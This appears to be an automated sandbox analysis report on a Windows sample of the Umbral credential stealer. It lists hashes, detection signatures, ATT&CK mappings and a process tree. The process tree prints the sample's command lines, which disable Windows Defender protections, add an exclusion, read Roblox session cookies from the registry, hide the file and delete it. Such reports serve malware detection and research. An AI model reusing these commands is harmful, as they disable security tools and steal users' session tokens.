umbral | 4feb640b309beb1de84d7d7b4894831692eb2e24da68fafa644ff928499d4a44

Analysis

max time kernel
23s
max time network
27s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21-08-2024 03:03

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General

Target

7b4cd9478c848e355d91674e959c77b0N.exe
Size

229KB
MD5

7b4cd9478c848e355d91674e959c77b0
SHA1

84a02dcba4204f3732e66f62b7de540dbcbdee7b
SHA256

4feb640b309beb1de84d7d7b4894831692eb2e24da68fafa644ff928499d4a44
SHA512

500b2d38d07dd6a43a6dd7248324ff2529f130e539e104148db3a5ca0d17566138688c0df13b4aa4f77297c8579ce1961011e4977aa4d5377fcab6a207ac7457
SSDEEP

6144:9loZM3fsXtioRkts/cnnK6cMlfdxJYe5xyBXKYZd8CNub8e1mqni:foZ1tlRk83MlfdxJYe5xyBXKYZd8Cky

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2436-1-0x0000000000040000-0x0000000000080000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe
2536	powershell.exe
1204	powershell.exe
2600	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	7b4cd9478c848e355d91674e959c77b0N.exe

Deletes itself 1 IoCs

pid	Process
1980	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1980	cmd.exe
1820	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
844	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1820	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2436	7b4cd9478c848e355d91674e959c77b0N.exe
2708	powershell.exe
2536	powershell.exe
1204	powershell.exe
628	powershell.exe
2600	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	7b4cd9478c848e355d91674e959c77b0N.exe
Token: SeIncreaseQuotaPrivilege	2216	wmic.exe
Token: SeSecurityPrivilege	2216	wmic.exe
Token: SeTakeOwnershipPrivilege	2216	wmic.exe
Token: SeLoadDriverPrivilege	2216	wmic.exe
Token: SeSystemProfilePrivilege	2216	wmic.exe
Token: SeSystemtimePrivilege	2216	wmic.exe
Token: SeProfSingleProcessPrivilege	2216	wmic.exe
Token: SeIncBasePriorityPrivilege	2216	wmic.exe
Token: SeCreatePagefilePrivilege	2216	wmic.exe
Token: SeBackupPrivilege	2216	wmic.exe
Token: SeRestorePrivilege	2216	wmic.exe
Token: SeShutdownPrivilege	2216	wmic.exe
Token: SeDebugPrivilege	2216	wmic.exe
Token: SeSystemEnvironmentPrivilege	2216	wmic.exe
Token: SeRemoteShutdownPrivilege	2216	wmic.exe
Token: SeUndockPrivilege	2216	wmic.exe
Token: SeManageVolumePrivilege	2216	wmic.exe
Token: 33	2216	wmic.exe
Token: 34	2216	wmic.exe
Token: 35	2216	wmic.exe
Token: SeIncreaseQuotaPrivilege	2216	wmic.exe
Token: SeSecurityPrivilege	2216	wmic.exe
Token: SeTakeOwnershipPrivilege	2216	wmic.exe
Token: SeLoadDriverPrivilege	2216	wmic.exe
Token: SeSystemProfilePrivilege	2216	wmic.exe
Token: SeSystemtimePrivilege	2216	wmic.exe
Token: SeProfSingleProcessPrivilege	2216	wmic.exe
Token: SeIncBasePriorityPrivilege	2216	wmic.exe
Token: SeCreatePagefilePrivilege	2216	wmic.exe
Token: SeBackupPrivilege	2216	wmic.exe
Token: SeRestorePrivilege	2216	wmic.exe
Token: SeShutdownPrivilege	2216	wmic.exe
Token: SeDebugPrivilege	2216	wmic.exe
Token: SeSystemEnvironmentPrivilege	2216	wmic.exe
Token: SeRemoteShutdownPrivilege	2216	wmic.exe
Token: SeUndockPrivilege	2216	wmic.exe
Token: SeManageVolumePrivilege	2216	wmic.exe
Token: 33	2216	wmic.exe
Token: 34	2216	wmic.exe
Token: 35	2216	wmic.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	wmic.exe
Token: SeSecurityPrivilege	2340	wmic.exe
Token: SeTakeOwnershipPrivilege	2340	wmic.exe
Token: SeLoadDriverPrivilege	2340	wmic.exe
Token: SeSystemProfilePrivilege	2340	wmic.exe
Token: SeSystemtimePrivilege	2340	wmic.exe
Token: SeProfSingleProcessPrivilege	2340	wmic.exe
Token: SeIncBasePriorityPrivilege	2340	wmic.exe
Token: SeCreatePagefilePrivilege	2340	wmic.exe
Token: SeBackupPrivilege	2340	wmic.exe
Token: SeRestorePrivilege	2340	wmic.exe
Token: SeShutdownPrivilege	2340	wmic.exe
Token: SeDebugPrivilege	2340	wmic.exe
Token: SeSystemEnvironmentPrivilege	2340	wmic.exe
Token: SeRemoteShutdownPrivilege	2340	wmic.exe
Token: SeUndockPrivilege	2340	wmic.exe
Token: SeManageVolumePrivilege	2340	wmic.exe
Token: 33	2340	wmic.exe
Token: 34	2340	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 2216	2436	7b4cd9478c848e355d91674e959c77b0N.exe	30
PID 2436 wrote to memory of 2216	2436	7b4cd9478c848e355d91674e959c77b0N.exe	30
PID 2436 wrote to memory of 2216	2436	7b4cd9478c848e355d91674e959c77b0N.exe	30
PID 2436 wrote to memory of 2920	2436	7b4cd9478c848e355d91674e959c77b0N.exe	33
PID 2436 wrote to memory of 2920	2436	7b4cd9478c848e355d91674e959c77b0N.exe	33
PID 2436 wrote to memory of 2920	2436	7b4cd9478c848e355d91674e959c77b0N.exe	33
PID 2436 wrote to memory of 2708	2436	7b4cd9478c848e355d91674e959c77b0N.exe	35
PID 2436 wrote to memory of 2708	2436	7b4cd9478c848e355d91674e959c77b0N.exe	35
PID 2436 wrote to memory of 2708	2436	7b4cd9478c848e355d91674e959c77b0N.exe	35
PID 2436 wrote to memory of 2536	2436	7b4cd9478c848e355d91674e959c77b0N.exe	37
PID 2436 wrote to memory of 2536	2436	7b4cd9478c848e355d91674e959c77b0N.exe	37
PID 2436 wrote to memory of 2536	2436	7b4cd9478c848e355d91674e959c77b0N.exe	37
PID 2436 wrote to memory of 1204	2436	7b4cd9478c848e355d91674e959c77b0N.exe	39
PID 2436 wrote to memory of 1204	2436	7b4cd9478c848e355d91674e959c77b0N.exe	39
PID 2436 wrote to memory of 1204	2436	7b4cd9478c848e355d91674e959c77b0N.exe	39
PID 2436 wrote to memory of 628	2436	7b4cd9478c848e355d91674e959c77b0N.exe	41
PID 2436 wrote to memory of 628	2436	7b4cd9478c848e355d91674e959c77b0N.exe	41
PID 2436 wrote to memory of 628	2436	7b4cd9478c848e355d91674e959c77b0N.exe	41
PID 2436 wrote to memory of 2340	2436	7b4cd9478c848e355d91674e959c77b0N.exe	43
PID 2436 wrote to memory of 2340	2436	7b4cd9478c848e355d91674e959c77b0N.exe	43
PID 2436 wrote to memory of 2340	2436	7b4cd9478c848e355d91674e959c77b0N.exe	43
PID 2436 wrote to memory of 952	2436	7b4cd9478c848e355d91674e959c77b0N.exe	45
PID 2436 wrote to memory of 952	2436	7b4cd9478c848e355d91674e959c77b0N.exe	45
PID 2436 wrote to memory of 952	2436	7b4cd9478c848e355d91674e959c77b0N.exe	45
PID 2436 wrote to memory of 2948	2436	7b4cd9478c848e355d91674e959c77b0N.exe	47
PID 2436 wrote to memory of 2948	2436	7b4cd9478c848e355d91674e959c77b0N.exe	47
PID 2436 wrote to memory of 2948	2436	7b4cd9478c848e355d91674e959c77b0N.exe	47
PID 2436 wrote to memory of 2600	2436	7b4cd9478c848e355d91674e959c77b0N.exe	49
PID 2436 wrote to memory of 2600	2436	7b4cd9478c848e355d91674e959c77b0N.exe	49
PID 2436 wrote to memory of 2600	2436	7b4cd9478c848e355d91674e959c77b0N.exe	49
PID 2436 wrote to memory of 844	2436	7b4cd9478c848e355d91674e959c77b0N.exe	51
PID 2436 wrote to memory of 844	2436	7b4cd9478c848e355d91674e959c77b0N.exe	51
PID 2436 wrote to memory of 844	2436	7b4cd9478c848e355d91674e959c77b0N.exe	51
PID 2436 wrote to memory of 1980	2436	7b4cd9478c848e355d91674e959c77b0N.exe	53
PID 2436 wrote to memory of 1980	2436	7b4cd9478c848e355d91674e959c77b0N.exe	53
PID 2436 wrote to memory of 1980	2436	7b4cd9478c848e355d91674e959c77b0N.exe	53
PID 1980 wrote to memory of 1820	1980	cmd.exe	55
PID 1980 wrote to memory of 1820	1980	cmd.exe	55
PID 1980 wrote to memory of 1820	1980	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\7b4cd9478c848e355d91674e959c77b0N.exe
"C:\Users\Admin\AppData\Local\Temp\7b4cd9478c848e355d91674e959c77b0N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\7b4cd9478c848e355d91674e959c77b0N.exe"
  2⤵
  - Views/modifies file attributes
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7b4cd9478c848e355d91674e959c77b0N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:628
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:952
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:844
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\7b4cd9478c848e355d91674e959c77b0N.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
33191312084783694e7aa7753d4f20ae

SHA1
4c3ba987159bccdef88e442e50c930779cb30982

SHA256
0efa9218634b62ff6257e7eb091bffb555d8e4e2344f05ebd6b22529dd535ac0

SHA512
95f8225f988d34df41f0bd8f96a52636e53562100b144f1cf71c76aad93374610c965d88392f191831df6fe0b6a31dc4eb851c08376b78e9522d71d613bbc7f3

Download Submit
memory/2436-17-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-9-0x000007FEF5423000-0x000007FEF5424000-memory.dmp

Filesize
4KB

Download
memory/2436-2-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-0-0x000007FEF5423000-0x000007FEF5424000-memory.dmp

Filesize
4KB

Download
memory/2436-1-0x0000000000040000-0x0000000000080000-memory.dmp

Filesize
256KB

Download
memory/2436-50-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2536-15-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2536-16-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2600-46-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2708-7-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-8-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download